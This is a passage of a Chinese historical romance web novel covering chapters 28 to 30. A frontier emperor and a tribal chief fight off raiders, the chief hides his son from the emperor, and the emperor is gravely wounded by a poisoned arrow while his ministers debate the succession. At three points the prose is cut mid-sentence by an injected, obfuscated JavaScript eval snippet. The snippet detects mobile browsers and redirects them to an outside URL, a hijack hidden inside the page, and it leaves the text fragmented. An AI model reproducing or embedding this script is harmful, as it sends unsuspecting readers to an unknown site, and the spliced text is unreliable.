他深知此事关系重大,一旦泄露,后果不堪设想,两军阵前不容有失,若再被流言所扰…… 他脸上堆起惯常的、带着几分惶恐和卑微的笑容,连连摆手,语焉不详地低声道,“哎哟,几位大人折煞老奴了!老奴就是个伺候人的奴才,哪敢妄议贵人们的事?这位乌其乐首领……确非常人,性情刚烈,恩怨分明,本事也大,陛下礼贤下士也是有的……至于其他的……天威难测,圣心独断,老奴愚钝,实在不敢妄加揣测啊。诸位大人还是……还是以军务为重,以军务为重。老奴告退,告退。” 说完,他像被火燎了尾巴一样,也顾不上失礼,匆匆对着几位将领拱了拱手,便佝偻着身子,几乎是小跑着离开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16356395|183634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个是非之地。 留下几位将领在原地面面相觑,心中的疑团非但没有解开,反而因王德全这含糊其辞、避之唯恐不及的态度,变得更加扑朔迷离。 数日后,经过多方侦查和确认,一支规模不小的狄戎部落联军开始向黑石堡东北方向的“飞云隘”移动,似乎意图绕过黑石堡主力,袭扰北朝腹地粮道。 战机稍纵即逝。宇文尚迅速调兵遣将,决定亲自率军前往拦截。 军议时,褚良主动请缨。 “云泽部熟悉飞云隘地形,愿为前锋,引路破敌!” 宇文尚几乎是下意识地拒绝。 “不可!狄戎凶悍,此战凶险!首领及云泽部只需提供向导即可,冲锋陷阵,自有朝廷将士!” 他无法承受褚良再有任何闪失,一丝一毫都不能! 褚良闻言,剑眉紧蹙,眼中瞬间燃起怒火。 “陛下这是何意?视我云泽部为累赘?还是觉得我乌其乐只会躲在他人羽翼之下乞食?我部男儿,亦有热血!此战,非是为朝廷,是为我云泽部死难的族人报仇!陛下若不准,便是看不起我云泽部!我部即刻离开黑石堡,绝不接受此等施舍!” “你……”宇文尚听他以离开相要挟,瞬间哑口无言。他看到了褚良身后那几位云泽部勇士眼中同样燃烧的战意和屈辱感。 他知道,再阻拦,便是彻底践踏了褚良和整个云泽部的尊严,那比战场上的刀剑更伤人。 “……好。” 宇文尚艰难地吐出这个字,声音干涩,“首领……务必小心。” 飞云隘外,两军对垒,战鼓擂动。 北朝玄甲如潮,狄戎骑兵如浪。褚良率领数十名云泽部最精锐的骑射手,如同灵活的游鱼,穿插在战场侧翼。他们熟悉地形,箭术精准,专射狄戎将领的坐骑和弓箭手,极大地扰乱了狄戎的阵型。 宇文尚坐镇中军,指挥若定,目光却始终无法离开侧翼那道矫健的身影。他看到褚良在箭雨中穿梭,看到他一箭射落敌方传令兵,看到他精准地指引蒙毅的骑兵冲击狄戎的薄弱点……那份在战场上爆发出的锐气和果决,让宇文尚的心跳一次次失控。 更让宇文尚心惊又心折的是,在几次关键的攻防转换中,褚良的行动竟与他心中的战术预判不谋而合!他刚升起“需派一队轻骑袭扰敌后”的念头,就看到褚良已率人悄然绕了过去;他正欲下令强攻一处高地,褚良的箭雨已率先覆盖了那里的守军! 没有言语交流,甚至没有眼神交汇,但两人在战场上的配合,竟如同演练过千百遍般默契无间!仿佛又回到了当年并肩作战、心意相通的岁月。 宇文尚心中的爱意与敬重,在这一刻达到了顶点。他的良儿,无论在何处,都是能与他并肩而立、心意相通的那个人! 战斗最终以北朝大胜告终。狄戎联军被击溃,狼狈向北逃窜。 收兵回营,已是夜幕低垂。 宇文尚处理完紧急军务,心中那份因战场默契而激荡的情绪难以平复。鬼使神差地,他又一次屏退随从,独自来到了云泽部营区外,远远望着褚良那座依旧亮着灯火的帐篷。 这一次,他没有靠近,只是站在更远的阴影里,贪婪地汲取着那一点微弱的光亮,仿佛那是支撑他的唯一暖源。 良儿就在里面,虽然仍是恨他,但他们之间的默契仍在,心意仍通。 就在宇文尚凝望之时,隔壁帐篷的帘子被掀开了一条缝。 宇文尚警觉,凝神观望。 是一个小小的身影。 裹着一件明显过大的厚实皮袄,像只灵活的小兔子,怀里似乎抱着个什么东西,飞快地从旁边陈锋的帐篷里跑出来,左右张望了一下,然后“哧溜”一声,敏捷地钻进了褚良的帐篷里,帐篷的帘子随即落下,隔绝了内外。 整个过程不过几息之间。 宇文尚愣了一下,随即释然。想必是云泽部哪个孩子去找首领有事吧?也许是送水?也许是取暖?部族之中,孩子亲近首领也是常事。 但他并未看到,就在那孩子掀帘钻入的瞬间,帐内透出的灯光照亮了孩子小半张脸——那墨紫色的发丝在皮袄的兜帽下若隐若现。 29. 第 29 章 夜深人静,黑石堡内除了巡逻士兵的脚步声,万籁俱寂。褚良躺在帐篷的毡毯上,睁着眼望着黑暗的帐顶,心绪烦乱。黑石堡的坚固如同牢笼,宇文尚的存在更如芒刺在背。带昭昭离开的念头从未如此强烈,但如何在这守卫森严之地悄无声息地遁走? 就在这时,帐篷角落的帘子被极其小心地掀起一条缝,一个裹得严严实实的小身影,像只归巢的雏鸟,悄无声息地溜了进来。 “阿爹……”细如蚊蚋的声音带着浓浓的委屈和依恋。 褚良心头一软,猛地坐起身,“昭昭?” 他压低声音,心疼的同时也有些心慌,“你怎么跑来了?不是让你待在陈锋叔叔那里吗?”他急忙将儿子拉进怀里,用厚实的毡毯裹住他冰凉的小身子。 褚昭紧紧抱住父亲的腰,把小脸埋在他怀里,贪婪地呼吸着父亲身上令人安心的气息,声音闷闷的。 “我想阿爹了……陈锋叔叔的帐篷没有阿爹的味道……我睡不着……”孩子的声音带着哭腔,手臂收得更紧了。 褚良心中一酸,所有的烦乱都暂时被这温暖的依恋冲散了。他轻轻拍着儿子的背,低声安抚,声音是白日里从未有过的柔和,“傻孩子……阿爹在这里呢。” 他抱着儿子躺下,让小家伙蜷缩在自己温暖的臂弯里。 褚昭在父亲熟悉的气息和坚实的怀抱里渐渐放松下来,小小的身子不再紧绷。他像只找到暖巢的小兽,满足地蹭了蹭,开始小声地诉说白天的新奇见闻。 “阿爹,我今天…偷偷看到那个皇帝了!” 褚良的身体瞬间绷紧,“在哪里?他看到你了?”语气带着前所未有的紧张。 “没有没有!”褚昭连忙摇头,小脑袋在父亲怀里拱了拱,“我躲在运送草料的马车后面,远远看到的!他骑着好高好大的黑马,穿着黑亮的铠甲,好威风!比□□哥哥说的还要厉害!”孩子的语气里充满了对强者的天然崇拜,眼睛在黑暗中仿佛闪着光。 褚良松了口气,但心头的戒备并未放下,低声告诫道,“下次不许再偷看了,危险。” “嗯!”褚昭应着,忽然又想起什么,带着点小得意地补充,“阿爹,我还发现一个秘密!那个皇帝的头发…颜色和我的好像啊!都是那种…有点灰灰紫紫的!只是他的好像更灰一点?”孩子说着,还下意识地摸了摸自己散落下来的一缕发丝,仿佛在确认。 轰隆! 褚良只觉得脑中一声炸响,巨大的恐惧如同冰冷的毒蛇,瞬间缠紧了他的心脏!他最担心、最不愿面对的事情,竟以这样一种猝不及防的、天真无邪的方式,被儿子说了出来! 他猛地攥紧儿子的手臂,力道之大让褚昭痛呼出声。 “阿爹!疼!” 褚良这才惊觉自己的失态,连忙松开手,但声音却因紧张而变得异常严厉,“昭昭!记住!以后绝对,绝对不能再靠近他!更不能让他看到你的脸,尤其是眼睛和头发!听到了吗?!”他的目光在黑暗中锐利如刀,紧紧盯着儿子模糊的小脸。 褚昭被父亲从未有过的严厉吓住了,小脸发白,怯生生地点头,声音带着哭腔,“听…听到了,阿爹…我再也不敢了……昭昭错了……” 看着儿子惊恐委屈、泫然欲泣的样子,褚良心如刀绞,巨大的自责和更深的恐惧攫住了他。他再次将儿子紧紧搂在怀里,下巴用力抵着孩子柔软的发顶,仿佛要将那刺目的发色藏起来,声音不由沉重,“昭昭乖,阿爹不是凶你…是为了保护你…那个地方,那个人…都很危险…我们…我们很快就要离开这里了……” “真的吗?”褚昭眼中又燃起希望,暂时忘记了刚才的惊吓。 “嗯。”褚良用力点头,心中逃离的念头前所未有的强烈和迫切。族人的安逸?宇文尚的“诚意”?在昭昭的安全面前,都不值一提!如果族人不愿走,那么,他就带着昭昭独自离开!必须在宇文尚发现昭昭的存在之前!必须在黑石堡这个巨大的牢笼彻底锁死之前! 机会,伴随着残酷的消息一同降临。 几日后,边境急报如同惊雷般炸响黑石堡! 狄戎阿史那部联合数个被饥饿逼疯的小部落,趁夜突袭了距离黑石堡西北一百五十里的三个汉狄混居的边境村庄! 他们的手段极其残忍,烧杀抢掠,鸡犬不留!三个村子,上千口人,无论老幼妇孺,尽遭屠戮!尸体堆积如山,村落化为焦土!而这三个村子,正是之前云泽部勇士冒险出来换取粮食和药材的地方,那里的村民,曾以质朴的善意接济过这些流亡的草原遗民。 消息传来,举城皆惊!悲愤的怒火瞬间点燃了整个黑石堡,更在云泽部营地掀起了滔天巨浪! “畜生!一群畜生!”蒙毅一拳砸在城墙上,目眦欲裂! 宇文尚脸色铁青,眼中翻涌着滔天的杀意和帝王的震怒! 他猛地一拍案几,“传令!点兵!朕要亲征!血债血偿!” 云泽部营地,压抑的哭泣和愤怒的咒骂交织。所有能拿得起武器的青壮,无论男女,都自发地聚集到褚良的帐篷前,眼中燃烧着复仇的火焰! “首领!我们要报仇!为那些收留过我们的乡亲报仇!” “杀光那群畜生!” “请首领带我们出战!血债血偿!” 褚良站在众人面前,目光扫过一张张悲愤而坚毅的脸庞,沉声道,“仇,必报!血,必偿!能战者,随我出战!” “带上我,首领!”一个清冷而坚决的声音响起。 阿史那云珠换上了一身利落的皮甲,手持弯刀,站到了人群最前面。她脸色依旧苍白,但眼神却冰冷如霜。 褚良眉头微皱,断然拒绝,“云珠,你伤势未愈,留在堡内。” “我能战!”云珠倔强地向前一步,“我的命是云泽部给的!我要亲手……” “这是命令!”褚良的语气不容置疑,带着首领的威严,“留在堡内,养好伤,守护营地!陈锋留下统筹后方,你协助他!”他目光扫向陈锋,陈锋会意地点点头。 众人见首领心意已决,又知云珠伤势确实不宜出战,便不再多言,纷纷散去准备。 人群散去后,云珠却并未离开。她站在原地,紧咬着下唇,眼神复杂地看着褚良。 褚良察觉她的异样,示意陈锋先去安排其他事务,然后对云珠道,“跟我来。” 两人沉默地走到营区边缘一条流淌着冰冷雪水的小溪边。 溪水潺潺,更衬得四周寂静。 “乌其乐,”云珠率先开口,声音带着一丝不易察觉的颤抖和自弃,“我知道你是为我好。但…我并非无用之人。巴图尔…那个狡猾的家伙,以前曾向铎冽求娶过我。若有必要,我可以去见他。用这…用这残破之身,或许能引他入瓮,或者离间他们……” 她抬起头,月光下,她的脸色苍白得近乎透明,嘴角却勾起一抹凄凉的弧度,仿佛在说一件与自己无关的事情。 褚良心头一震,如同被什么东西狠狠刺了一下。他转过身,正对着云珠,目光锐利而深沉,声音不高,却带着穿透人心的力量,“云珠,看着我。” 云珠下意识地迎上他的目光。 “听着,”褚良一字一顿,清晰无比,“你的身子,你的命,只属于你自己!不是用来交换的工具!更不是筹码!过去发生的事情无法改变,但它们不能定义你是谁,更不能让你自己轻贱自己!人活在世上,尊严是自己给的!即便别人折辱你千次万次,只要你心性坚定,昂首挺胸,你就永远是最纯洁、最高贵的人!那些折辱过你的人,再见到你时,都会自惭形秽!” 他的话语如同重锤,敲打在云珠耳畔,激起了剧烈的回响。她怔怔地看着褚良,看着他眼中那份不作伪的敬重和爱护,她空洞的眸子里,第一次有了剧烈的波动,一层水雾迅速弥漫开来。 “可是…我…” 云珠声音哽咽,带着茫然。 “云珠” 褚良语气缓和下来,带着鼓励,“你要为自己活!为那些珍视你的人活!你是个好姑娘,勇敢,坚韧。未来,你会找到真正喜欢你、尊重你、值得你托付终身的人。” 他顿了顿,意有所指地补充,“就像陈锋,他医术高超,心地仁厚,是顶天立地的男子汉。他看重的,也只会是人的本心。” 云珠的脸颊瞬间飞起一抹极淡的红晕,随即又黯淡下去,自卑地低下头,“副首领…他那么好…我…我配不上他。我不懂汉文,不懂医术,只会骑马射箭,还…还……” “配不配得上,不是看身份地位,更不是看过去。”褚良打断她,语气淳淳善诱,“你的想法已经在改变了,不是吗?以前你是公主,或许不会多看陈锋一眼。但现在,你看到了他的为人,他的好……你这样好的姑娘,一定会找到属于自己的幸福。相信我。” 云珠看着褚良真诚而坚定的眼神,泪水终于滑落,但这一次,不再是自弃的泪水。 她用力点了点头,声音虽轻却有了力量,“嗯…谢谢首领…我明白了。” 两人言语间,在不远处,营区边缘一棵枯树的阴影里,一个高大的身影正僵立在那里,将溪边两人的对话一字不漏地听进了耳中。 宇文尚本是忧心忡忡想来看看云泽部的情况,却不料听到了这番触及灵魂的对话。 “残破之身”…“利用”…“工具”…“牺牲”… “尊严是自己给的”…“心性坚定,昂首挺胸”…“永远是最纯洁、最高贵的人”… 褚良那斩钉截铁、充满力量的话语,每一个字都像烧红的烙铁,狠狠烫在宇文尚的心上,瞬间剖开了他尘封的、最不堪回首的记忆! 死牢…冰冷的地面…粗暴的占有…他加诸于褚良身上的折辱和伤害,与铎冽将云珠送给老莫度,又有何本质区别?!甚至,他利用褚良的忠诚和爱慕,最终却给予最深的背叛和践踏,其卑劣有过之而无不及! 巨大的悔恨和痛苦如同海啸般将他淹没!他仿佛又看到了褚良那双燃烧着冰冷恨意的眼睛,听到了他痛彻心扉的唾骂!是他!是他亲手将那个满心赤诚、干净纯粹如同阳光的青年,推入了绝望的深渊,背负上了“残破”的枷锁! 他有什么资格去指责铎冽?他自己就是那个最卑劣的施暴者!而他深爱的良儿,在经历了那样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16356396|183634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的伤害之后,竟还能说出如此震撼人心、关于尊严与自爱的感悟…… 这让他自惭形秽到了极点! 宇文尚高大的身躯剧烈地晃了晃,手指深深抠进粗糙的树皮,指甲断裂也浑然不觉。一股腥甜涌上喉头,被他强行咽下。他痛苦地闭上眼,冰冷的悔恨如同毒虫啃噬着他的五脏六腑。 这一刻,他无比清晰地意识到,若非这帝王身份赋予的至高权力,单凭他曾经的所作所为,他宇文尚根本不配再拥有褚良的一丝眷顾,更遑论站在这样光明磊落的人身边! 这份认知带来的痛苦,几乎让他窒息…… 翌日清晨,号角长鸣。 复仇的大军即将开拔,黑石堡校场上,旌旗猎猎,刀枪如林。 北朝精锐与云泽部青壮已然列队完毕,肃杀之气直冲云霄。褚良跨上战马,正待发令。 就在这时,一个身影踉跄着冲出人群,“噗通”一声跪倒在褚良和宇文尚的马前。 是那位头发花白、身形却依旧硬朗的老箭手——哈森。 “陛下!首领!”老哈森眼含热泪,声音洪亮而悲怆, “请准许老朽出战!我阿妈…就是被狄戎从被屠村子掳走的汉人女子!她生下我,含辛茹苦将我养大,却至死未能归乡!老朽身上流着一半汉人的血,也是那村子的后人!如今村子被屠,乡亲蒙难,老朽虽年迈,但一身箭术未废!此仇不报,死不瞑目!请准我为阿妈,为乡亲们,射尽最后一箭!” 他重重叩首,额头触地。 这突如其来的请战,充满了悲壮的力量。 宇文尚和褚良都不禁为之动容。 褚良看着老哈森眼中刻骨的仇恨,沉声道:“哈森大叔,战场凶险……” “首领!我哈森不怕死!只怕不能亲手为乡亲射出一箭!”老哈森战意坚决,令人动容。 褚良默然片刻,终是点头,“好!跟紧在我身边!不得擅自脱离!” “谢首领!”老哈森激动地爬起身,迅速背起他那张磨得油亮的硬弓,翻身上了一匹驮马,紧紧跟在褚良马后。 “出发!”宇文尚的声音沙哑却带着雷霆万钧之势,龙渊剑直指前方! 号角再鸣,战鼓擂动,复仇的火焰驱使着联军,如同愤怒的洪流,朝着狄戎肆虐的方向席卷而去! 战场在边境一片开阔的草甸上展开。狄戎联军自知屠村行径必遭报复,也集结了重兵,背靠一片缓坡,摆出了决一死战的架势。战斗一开始就进入了白热化。箭矢如蝗,刀光剑影,喊杀声震天动地。 褚良率领云泽部骑射手,如同最锋利的匕首,不断切割着狄戎的侧翼,寻找着对方阵型的破绽。 老哈森紧紧跟在褚良身侧不远处,虽年迈,却宝刀未老,箭无虚发,每一箭都带着刻骨的仇恨,专射狄戎军官。 宇文尚坐镇中军,指挥全局,目光却时刻关注着褚良和他身边那位冲锋在前的白发老箭手。 战局胶着。在一次狄戎骑兵发起的凶猛反扑中,一小队精锐的狄戎弓骑兵利用混乱,如同鬼魅般绕到了北军侧后方的一处高地上。他们居高临下,瞬间锁定了正在褚良侧翼、弯弓搭箭射杀一名狄戎军官的老哈森。 “咻!咻!咻!” 数支淬毒的冷箭,带着死亡的尖啸,撕裂空气,直取老哈森毫无防备的后心! “哈森大叔!小心!”附近有云泽部勇士惊呼,却已救援不及! 就在这千钧一发之际! “陛下——!” 一声凄厉的惊呼划破战场! 只见一直关注着褚良和老哈森方向的宇文尚,在看到那几支冷箭破空而出的瞬间,瞳孔骤缩!几乎是出于一种本能的反应,一种源于昨夜巨大悔恨的驱动,让他猛地一夹“乌云踏雪”,如同一道黑色的闪电,不顾一切地朝着老哈森的方向冲了过去,同时拔出佩剑“龙渊”,试图格挡! 然而,距离太远,箭矢太快,度刁钻! “噗嗤!” 一支毒箭,狠狠穿透了宇文尚仓促间抬臂格挡时臂甲的薄弱连接处!剧毒的黑血瞬间浸染了玄色的衣袖!巨大的冲击力让他身体猛地一晃! “呃!”宇文尚闷哼一声,左臂传来钻心剧痛,眼前一黑,脸色瞬间煞白如纸。 “陛下中箭了!” “护驾!快护驾!” 中军瞬间大乱! 而这一幕,恰好被不远处正指挥作战的褚良尽收眼底。 当看到宇文尚如同疯魔般冲出中军,当看到那支明显淬毒的箭矢狠狠没入他手臂的瞬间,褚良只觉得自己的心脏仿佛被一只无形的大手狠狠攥住!一股冰冷的恐惧瞬间席卷全身,让他几乎窒息!所有的计划,所有的逃离念头,在这一刻被炸得粉碎! 他脑中一片空白,只剩下一个最原始、最强烈的念头:宇文尚不能死! “锋矢阵!跟我冲!”褚良发出一声近乎嘶哑的怒吼,再也顾不得什么战术安排和自身安危,猛地一夹马腹,手中长刀向前一指,率领身边最精锐的亲卫,如同一支离弦的怒矢,不顾一切地朝着宇文尚中箭倒下的方向,疯狂地冲杀而去! 30. 第 30 章 震天的喊杀声仿佛还在耳边嗡鸣,但黑石堡中军大帐内,此刻却笼罩在一片死寂的恐慌之中。 血腥味混合着草药苦涩的气息,浓得化不开。 宇文尚被亲兵们七手八脚地抬了进来,沉重的玄甲已被卸下左臂部分,露出内里被毒箭穿透的狰狞伤口。伤口周围的皮肉呈现出一种诡异的青黑色,而且还在向四周蔓延。他脸色灰败如金纸,嘴唇发绀,双目紧闭,气息微弱得几乎难以察觉,只有紧蹙的眉头和额角不断滚落的冷汗,昭示着他正承受着巨大的痛苦。 “陛下!陛下——” 王德全扑倒在榻前,声音抖得不成样子,老泪纵横,双手想去触碰又怕加重伤势,只能徒劳地悬在半空,面无人色。他伺候宇文尚几十年,从未见过主子如此狼狈濒死的模样。 “御医!御医呢?!快!!”兵部尚书赵崇急得双目赤红,对着帐外嘶吼,声音都劈了叉。蒙毅等将领也乱了方寸,围在榻边,个个脸色铁青,焦灼的目光在昏迷的皇帝和忙碌的御医之间来回扫视,方才战场上的肃杀之气荡然无存,只剩下无尽的惶恐。 主帅重伤垂危,军心瞬间浮动。 就在这混乱得几乎要炸营的时刻,一个冷静而沉稳的声音穿透了嘈杂。 “慌什么!” 众人闻声望去,只见乌其乐掀帘而入。他身上的皮甲沾染着血污和尘土,脸上也溅着几滴血点,但那双深邃的眼眸却异常冷静,如同寒潭古井,不见丝毫慌乱。他周身散发着一种经历过无数次生死磨砺出的、令人心折的镇定气场。 他看也没看榻上昏迷的宇文尚,目光锐利如刀,直接钉在兵部尚书赵崇身上。 “赵大人!敌军未退,主帅重伤,更需稳定军心!狄戎此战虽凶悍,但阵型左翼是其拼凑的秃鹫部与灰狼部,本就貌合神离。我军右翼骑兵由蒙毅将军统领,战力完整,可集中优势兵力,猛攻其左翼接合部!同时,令左翼佯装后撤,诱敌深入,待其阵型脱节,再以中军强弩覆盖!速去传令!” 他的指令清晰、精准,瞬间点破了狄戎看似强大的外强中干之处。赵崇被他目光中的力量所慑,混乱的头脑瞬间清醒了几分,下意识地应道, “是!末将遵令!”立刻转身冲出大帐,前去部署。 帐内因褚良的冷静和果断,稍稍恢复了一些秩序。 褚良这才大步走到榻前,目光落在宇文尚青黑的伤口上,瞳孔几不可察地收缩了一下,但脸色依旧冷硬。 他转向正满头大汗、试图施针封住毒血蔓延的御医和刚刚赶到的陈锋,“毒势如何?何解?” 陈锋手指搭在宇文尚腕脉上,脸色凝重得能滴出水,“箭毒猛烈,是狄戎特有的‘黑蝰涎’,混合了腐心草和几种草原毒虫的汁液,见血封喉!常规解毒丹只能暂缓,无法根除!” 他抬头看向褚良,眼中带着一丝急切,“我知道一种草药,‘狼吻兰’,其根茎汁液专克此毒!但此草只生于西北方向五十里外的‘狼毒崖’背阴石缝中,极难寻觅,且…要穿过尚未完全平息的战场边缘!” “狼吻兰…”褚良低声重复,眼中闪过一丝复杂的光芒。他当然知道!当年他初到草原,被剧毒蝮蛇所咬,命悬一线,正是陈锋冒险在狼毒崖采回此药救了他一命。那陡峭的崖壁,狰狞的石缝,还有守护药草的毒虫……记忆瞬间涌上心头。 “我去。”褚良的声音没有丝毫犹豫,斩钉截铁。他甚至没有去看陈锋担忧的眼神,直接点了几名以攀援和速度见长的云泽部勇士。 “哈桑、巴图、阿木尔,跟我走!带足绳索和短刃!” 话音未落,他已转身冲出大帐,翻身上马,动作快如闪电。马蹄声急促响起,一队人马如同离弦之箭,朝着硝烟尚未散尽的西北方向疾驰而去,身影迅速消失在弥漫的烟尘之中。 时间在等待中变得格外漫长。帐内气氛压抑,只有宇文尚越来越微弱的呼吸声和御医们焦急的低语。 王德全跪在榻边,双手合十,口中念念有词,祈求着满天神佛。 不知过了多久,帐外传来一阵骚动和疲惫的马嘶。帘子猛地被掀开,褚良带着一身浓重的血腥气和尘土闯了进来。他脸色比离开时更加苍白,嘴唇紧抿,额角全是汗水,左腿外侧的皮裤被划开一道长长的口子,鲜血正不断渗出,染红了半条裤腿,显然是在采药或穿越战场时遭遇了恶战。 但他手中紧紧攥着几株还带着湿润泥土、叶片边缘呈锯齿状、根部呈暗红色的植物——正是狼吻兰! “药!”他只吐出一个字,便将草药塞到陈锋手中,自己则踉跄一步,扶住旁边的柱子稳住身形,腿上的伤口让他眉头紧蹙。 陈锋没有丝毫耽搁,立刻接过草药,与御医一同捣碎、榨汁、调和……动作迅捷而精准。深紫色的药汁被小心地灌入宇文尚口中,同时涂抹在伤口周围。 药效立竿见影。宇文尚手臂伤口处蔓延的青黑色停止了扩散,甚至开始有极其缓慢的回缩迹象。他灰败的脸上也透出一丝微弱的生气,虽然依旧昏迷,但呼吸似乎比之前平稳绵长了一些。 众人悬着的心,终于稍稍落下一点。 然而,战场上的局势并未因褚良的临时指挥而取得决定性胜利。蒙毅虽依计猛攻狄戎左翼,造成不小混乱,但铎冽迅速调兵稳住阵脚。狄戎士兵得知宇文尚中箭垂危的消息,士气大振,反扑得更加凶猛,口中用狄戎语高喊着:“宇文尚已死!北朝皇帝死了!”声音在战场上此起彼伏。 这恶毒的谣言如同瘟疫般在北朝军队中迅速蔓延。虽然赵崇等人极力弹压,但主帅重伤、生死未卜的阴影,以及“皇帝驾崩”的呼喊,还是不可避免地动摇了部分军心。 战斗最终以双方各自付出惨重伤亡、暂时脱离接触而告终,未能分出胜负。狄戎虽未能攻破防线,但其嚣张的气焰却因宇文尚的中毒而达到了顶点。 宇文尚的伤势暂时稳住,但并未脱离危险,依旧昏迷不醒。黑石堡内的气氛,从战场的紧张转入了另一种更深的焦虑——皇权悬空的危机。 几名随军的重臣聚集在偏帐,忧心忡忡。 “陛下昏迷不醒,国本动摇啊!”一位须发皆白的老臣捶胸顿足,“狄戎猖獗,谣言四起,若陛下真有个万一…我北朝…危矣!” “是啊!”另一人接口,声音压得极低,“陛下…至今未有子嗣!储位空悬,乃社稷大忌!一旦…一旦龙驭宾天,这江山社稷,托付何人?” 帐内陷入一片令人窒息的沉默。片刻后,一个更加大胆的声音响起,带着试探和急迫, “为江山社稷计,是否…是否该趁陛下有片刻清醒之时,速请陛下口谕立储?以安天下之心?”说话之人目光扫过众人,“譬如…陇西王世子宇文铭,年方十六,素有贤名;或安平郡王之子宇文澈,年岁相当,沉稳持重…皆乃太祖血脉,宗室近支…” 这个提议如同投入死水中的巨石,激起了巨大的波澜。 有人面露赞同,有人惊疑不定,有人则深深皱眉,觉得此议过于急切甚至僭越,但“国不可一日无君”的恐惧压倒了所有顾虑。最终,一种无声的共识在众人惊惶的眼神中形成:必须抓住任何可能的机会,让皇帝留下继位人选! 狼吻兰的药力起了作用,宇文尚的求生意志亦十分顽强,,在昏迷了一天一夜后,他竟真的短暂地睁开了眼睛。虽眼神涣散,焦距模糊,气息微弱。 一直守在榻边的王德全喜极而泣,“陛下!陛下您醒了!谢天谢地!” 守候在外的重臣们闻讯,立刻涌了进来,顾不得礼节,齐刷刷跪倒在榻前。 “陛下!您感觉如何?”赵崇急声问道。 “陛下,龙体为重,万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16356397|183634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勿劳神!”蒙毅也连忙道。 然而,宇文尚的目光艰难地在众人脸上扫过,似乎在寻找什么。他干裂的嘴唇翕动了几下,发出微弱嘶哑的声音,却清晰地吐出几个字: “…乌其乐…何在?” 众臣一怔,面面相觑。这生死关头,陛下醒来第一句,问的竟是那个云泽部首领? 王德全连忙道,“陛下,乌首领在,他在!他为您采药受了伤,刚去处理伤口,老奴这就去请……” “不…不必…”宇文尚极其费力地摇头,目光执拗地看向帐门方向,似乎在等待。 就在这时,处理完腿上刀伤、脸色依旧苍白的褚良,在陈锋的搀扶下,掀帘走了进来。 看到褚良的身影出现,宇文尚原本涣散的瞳孔骤然凝聚起光亮。他无视了榻前跪满一地、正酝酿着如何开口劝他立储的重臣,目光死死锁在褚良身上,挣扎着,竟想抬起那只未受伤的手臂。 王德全立刻会意,小心翼翼地将宇文尚的手托起,引向褚良的方向。 褚良在距离榻边几步远的地方停住,看着宇文尚伸出的、因中毒而显得枯瘦的手,眼神复杂,脚下如同生了根,没有上前。 宇文尚眼中不禁闪过痛楚和哀求。他用尽全身力气,手指微微颤抖着,声音微弱却异常清晰,每一个字都像是从灵魂深处挤出来的, “良…良儿……” 这一声久违的、带着无尽痛悔的呼唤,让褚良身形微颤,也惊呆了帐内所有不知内情的重臣。他们震惊地看向褚良,又看向皇帝,完全无法理解这突如其来的称呼和其中蕴含的复杂情感。 宇文尚不顾众人惊骇的目光,继续艰难地、断断续续地说着,他的目光死死锁住褚良,仿佛这是他生命中最后的执念, “我知道……你恨我…那是我……应得的,良儿……我愧对你……我……愧对……” 话音未落,他眼中那点微弱的光骤然熄灭,手臂无力地垂下,头一歪,再次陷入了深度的昏迷之中! “陛下——”王德全和众臣魂飞魄散,惊呼出声。 帐内瞬间乱成一团。御医和陈锋立刻扑上去查看。王德全哭喊着摇动宇文尚的身体。赵崇、蒙毅等将领面如死灰。而那几位等着劝立储君的重臣,更是僵在原地,脸上血色尽褪,眼中充满了极度的惊愕和巨大的恐慌! 皇帝醒了,在这千钧一发的时刻醒了!他们本可以抓住机会进言立储,稳定国本! 可陛下说了什么?!他对着一个外族部落首领,叫出了那个早已“葬身火海”的君后的名字?!说什么“错了”、“恨我”?!这…这简直是石破天惊!比驾崩的谣言更令人恐惧!这意味着什么?!这乌其乐首领的身份…难道…?! 巨大的疑云和更深的危机感瞬间攫住了所有人的心。储位之事,不仅未能解决,反而因宇文尚这惊世骇俗的“遗言”而变得更加扑朔迷离、凶险万分! 褚良站在原地,浑身冰凉。宇文尚那句“我愧对你”如同魔咒般在他脑中反复回响,带着一种濒死的、绝望的力量,狠狠撞击着他冰封的心防。他紧握的拳头指节发白,指甲深深陷入掌心。 陈锋一边紧急施救,一边抬头看向褚良,眼神凝重而忧虑,“毒势虽缓,但陛下心神激荡,再次昏厥,气血逆冲,情况更危了!” 褚良猛地抬眼,看向榻上毫无生气的宇文尚,又扫过帐内一张张惊惶、猜疑、甚至带着审视的面孔。他深吸一口气,强行压下心中翻腾的惊涛骇浪,对陈锋,也像是对自己说, “锋哥,你必须救活他,为了…所有人。” 帐内死寂,只有炭盆燃烧的噼啪声和宇文尚微弱到几乎消失的呼吸声。 